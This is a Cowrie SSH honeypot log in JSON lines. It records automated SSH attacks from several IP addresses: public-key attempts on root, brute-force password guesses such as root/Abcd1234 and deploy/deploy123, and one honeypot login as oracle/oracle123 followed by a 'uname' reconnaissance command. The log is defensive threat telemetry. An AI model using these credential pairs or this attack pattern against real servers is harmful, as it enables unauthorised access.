{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:e6:02:a8:42:72:aa:a6:18:73:64:b4:9c:9a:4f:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJwOpJ9VKn4//uYA2TozlNGZCVEdOMdHb0lb0Ifwk+kwJX56ujDe/bcgRIGyC4xP3Wtz28yH0b26fs3iSGJqnwIGZqMlfoOcatR2C4WLYSHRl/wUkBxVq4ugHOcpCKDcjROJE0DuCkE3xKt7hAfTn3VP4i945aLz222YRt0Cj5ArAAAAFQDCX0FsEX/oSFIbJTXHf8UHrSl79QAAAIATAP4xj5aocAmRQAhaojnKUwkYImuf4iwmseuFEvXoByFEvlCk/3Ue6BT60GxtgFNl1ciA15e43lIn5etpGVviDixxmOrj8aClPOwP2phH4tAysK6yT0mn1jZ0ytXzoLQ1tzO88+B5AlfLe+6mhTZKRzQCP0nlsLhxOGf28ONkNAAAAIAI2j+VLY5iePxnhCYBoXkjKSG/yL23M3l8zU3NbjHAxVkN3ApiBCqZvJb9arY1DXDJEN/wUaf3fHKc/xmUcLfC/f0eMIoaW6zA12ygQmJzkVtTeC/DeukFa6CINPXMnD5jloSL/T/lrengnQLQyfPTr3IshZ07HS92atg+6Gu33A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 86:e6:02:a8:42:72:aa:a6:18:73:64:b4:9c:9a:4f:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.149942Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:e6:02:a8:42:72:aa:a6:18:73:64:b4:9c:9a:4f:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJwOpJ9VKn4//uYA2TozlNGZCVEdOMdHb0lb0Ifwk+kwJX56ujDe/bcgRIGyC4xP3Wtz28yH0b26fs3iSGJqnwIGZqMlfoOcatR2C4WLYSHRl/wUkBxVq4ugHOcpCKDcjROJE0DuCkE3xKt7hAfTn3VP4i945aLz222YRt0Cj5ArAAAAFQDCX0FsEX/oSFIbJTXHf8UHrSl79QAAAIATAP4xj5aocAmRQAhaojnKUwkYImuf4iwmseuFEvXoByFEvlCk/3Ue6BT60GxtgFNl1ciA15e43lIn5etpGVviDixxmOrj8aClPOwP2phH4tAysK6yT0mn1jZ0ytXzoLQ1tzO88+B5AlfLe+6mhTZKRzQCP0nlsLhxOGf28ONkNAAAAIAI2j+VLY5iePxnhCYBoXkjKSG/yL23M3l8zU3NbjHAxVkN3ApiBCqZvJb9arY1DXDJEN/wUaf3fHKc/xmUcLfC/f0eMIoaW6zA12ygQmJzkVtTeC/DeukFa6CINPXMnD5jloSL/T/lrengnQLQyfPTr3IshZ07HS92atg+6Gu33A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.154052Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:f1:6c:1e:9a:23:23:7c:05:f0:b1:e1:b9:ef:65:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICupbl6cY7KeKJ18hBVTAYGZ5hOVdwxgzkrqA/PRJWux","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b6:f1:6c:1e:9a:23:23:7c:05:f0:b1:e1:b9:ef:65:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.185404Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:f1:6c:1e:9a:23:23:7c:05:f0:b1:e1:b9:ef:65:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICupbl6cY7KeKJ18hBVTAYGZ5hOVdwxgzkrqA/PRJWux","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.189134Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:03:20:fa:3c:4f:22:9f:e1:8e:d7:b7:92:66:87:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj30OrOdfeH/aP/C6oZBP1jF4621XHUvZmHSIs8LOnL5p4ZVkRomWj2bpGoA2Gd3LndVIMpf1wYvuEn2o3k2XIz/mvQBD6qOmei4yXRbobS2AA/cbzg7obNW5hoFGkXja6MWGqDc0/G+3F+MVPvp16C2mmcWgeEliNOqXamZhWZEg4XOLESxJayK/GgV79NnYhWh0UhI5YBqIDZTCLdmQ0TVbQjXZ/wPDcmhGWoWmOKP2LQCSoiFG9B9qJwzjlIQZTt/C33ALhtYXHnfonBeOjX7gzB0nmwLfs50xKtuujjFHVXqaDJBW3MO+6LPTNNOxs7QRO3SdTv4/kXPx+GJeVfX0mkoC/AC9zY0bZWCPQKMwqI8inrWrwS8dv+doRsGDpRJhctml5MDEjAsBSbKWN39px0c3P6iZ6quKOC0GsnqoKzD8adgqiGnwoV6Hk5GCn/aEDXDtMiKQEBOR1ilcb+vH25NaePRKF4XUTRdAv/pka4LOunTCyCP0GY4osVlFeWiugogQS5nY/L1nPM3KDIeCPOm3GIyPZWcTgefydrb89z5E0bi2rI7IiWulHHTy9fUMMHNTpilHG0axaqn2zG4R3qkoVkUqkmOFGtHMUx6tO5otk9+Aa5RlJhyCPnGYZPLWMIiw41FMttrxoTQFoDc6m5UnmywbTxoqIcWjDRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:03:20:fa:3c:4f:22:9f:e1:8e:d7:b7:92:66:87:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.218858Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:03:20:fa:3c:4f:22:9f:e1:8e:d7:b7:92:66:87:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj30OrOdfeH/aP/C6oZBP1jF4621XHUvZmHSIs8LOnL5p4ZVkRomWj2bpGoA2Gd3LndVIMpf1wYvuEn2o3k2XIz/mvQBD6qOmei4yXRbobS2AA/cbzg7obNW5hoFGkXja6MWGqDc0/G+3F+MVPvp16C2mmcWgeEliNOqXamZhWZEg4XOLESxJayK/GgV79NnYhWh0UhI5YBqIDZTCLdmQ0TVbQjXZ/wPDcmhGWoWmOKP2LQCSoiFG9B9qJwzjlIQZTt/C33ALhtYXHnfonBeOjX7gzB0nmwLfs50xKtuujjFHVXqaDJBW3MO+6LPTNNOxs7QRO3SdTv4/kXPx+GJeVfX0mkoC/AC9zY0bZWCPQKMwqI8inrWrwS8dv+doRsGDpRJhctml5MDEjAsBSbKWN39px0c3P6iZ6quKOC0GsnqoKzD8adgqiGnwoV6Hk5GCn/aEDXDtMiKQEBOR1ilcb+vH25NaePRKF4XUTRdAv/pka4LOunTCyCP0GY4osVlFeWiugogQS5nY/L1nPM3KDIeCPOm3GIyPZWcTgefydrb89z5E0bi2rI7IiWulHHTy9fUMMHNTpilHG0axaqn2zG4R3qkoVkUqkmOFGtHMUx6tO5otk9+Aa5RlJhyCPnGYZPLWMIiw41FMttrxoTQFoDc6m5UnmywbTxoqIcWjDRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.223363Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+RDFIn0L78XBW9/gAgpnD21bA84tgTg6gl4o9X4rBZ/xvYybhB0MA8uEO7g1eLnBJ+uORV+J8RAPV06HlQaJsRGE8dW3UwLSPJ0gZzLGPfwzOxgaGdp62+Z1xdnRwNfTl+214ifYTZ5TQLVqqN0qEVQv5xdWxMre2sCAf4GMODKIGAoo97WGZViBogWZWDjptcj1MMrbkLZ0wu/TL2/qvTXU5hKHfZwtUvhnucLpPRohsjLz+zOTy4ftQ0XfZMG8GFfFhAWE8Pao3PLDVWwnqZyI79rF0TqF9Dn3P+SKFbrx3gtDM2/xC2MfYIWVaOqICh6Wfy1Z7cZH1XPH5yC5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.252393Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:87:65:0e:fd:46:dd:51:0c:fd:4f:91:32:f5:53:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+RDFIn0L78XBW9/gAgpnD21bA84tgTg6gl4o9X4rBZ/xvYybhB0MA8uEO7g1eLnBJ+uORV+J8RAPV06HlQaJsRGE8dW3UwLSPJ0gZzLGPfwzOxgaGdp62+Z1xdnRwNfTl+214ifYTZ5TQLVqqN0qEVQv5xdWxMre2sCAf4GMODKIGAoo97WGZViBogWZWDjptcj1MMrbkLZ0wu/TL2/qvTXU5hKHfZwtUvhnucLpPRohsjLz+zOTy4ftQ0XfZMG8GFfFhAWE8Pao3PLDVWwnqZyI79rF0TqF9Dn3P+SKFbrx3gtDM2/xC2MfYIWVaOqICh6Wfy1Z7cZH1XPH5yC5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.257179Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.286300Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46244,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce208429b348","protocol":"ssh","message":"New connection: 83.168.110.85:46244 (10.17.0.5:22) [session: ce208429b348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:57.966775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:57.973702Z","src_ip":"83.168.110.85","session":"ce208429b348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:58.096776Z","src_ip":"83.168.110.85","session":"ce208429b348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:58.550811Z","src_ip":"83.168.110.85","session":"ce208429b348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:59.697232Z","src_ip":"83.168.110.85","session":"ce208429b348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57404,"dst_ip":"10.17.0.5","dst_port":22,"session":"5752b7428207","protocol":"ssh","message":"New connection: 83.168.110.85:57404 (10.17.0.5:22) [session: 5752b7428207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:04.807035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:04.812639Z","src_ip":"83.168.110.85","session":"5752b7428207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:05.107125Z","src_ip":"83.168.110.85","session":"5752b7428207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:05.695347Z","src_ip":"83.168.110.85","session":"5752b7428207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:06.930768Z","src_ip":"83.168.110.85","session":"5752b7428207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"426fbc0d6569","protocol":"ssh","message":"New connection: 83.168.110.85:57420 (10.17.0.5:22) [session: 426fbc0d6569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:11.879516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:11.886704Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.012974Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":57146,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7e50a0982bf","protocol":"ssh","message":"New connection: 193.46.255.86:57146 (10.17.0.5:22) [session: a7e50a0982bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.071301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.077464Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.210547Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.381222Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.666693Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.670163Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.794792Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.803543Z","src_ip":"83.168.110.85","session":"426fbc0d6569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huigu309","message":"login attempt [root/huigu309] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:12.810705Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5nWt3P-fF4WosQm5O","message":"login attempt [root/5nWt3P-fF4WosQm5O] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:13.943343Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:15.078405Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:16.213140Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49592,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25349238b06","protocol":"ssh","message":"New connection: 185.236.22.41:49592 (159.203.135.109:22) [session: c25349238b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:16.373570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:16.381351Z","src_ip":"185.236.22.41","session":"c25349238b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:16.523005Z","src_ip":"185.236.22.41","session":"c25349238b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwerty","message":"login attempt [root/12345qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:17.028630Z","src_ip":"185.236.22.41","session":"c25349238b06","protocol":"ssh"}
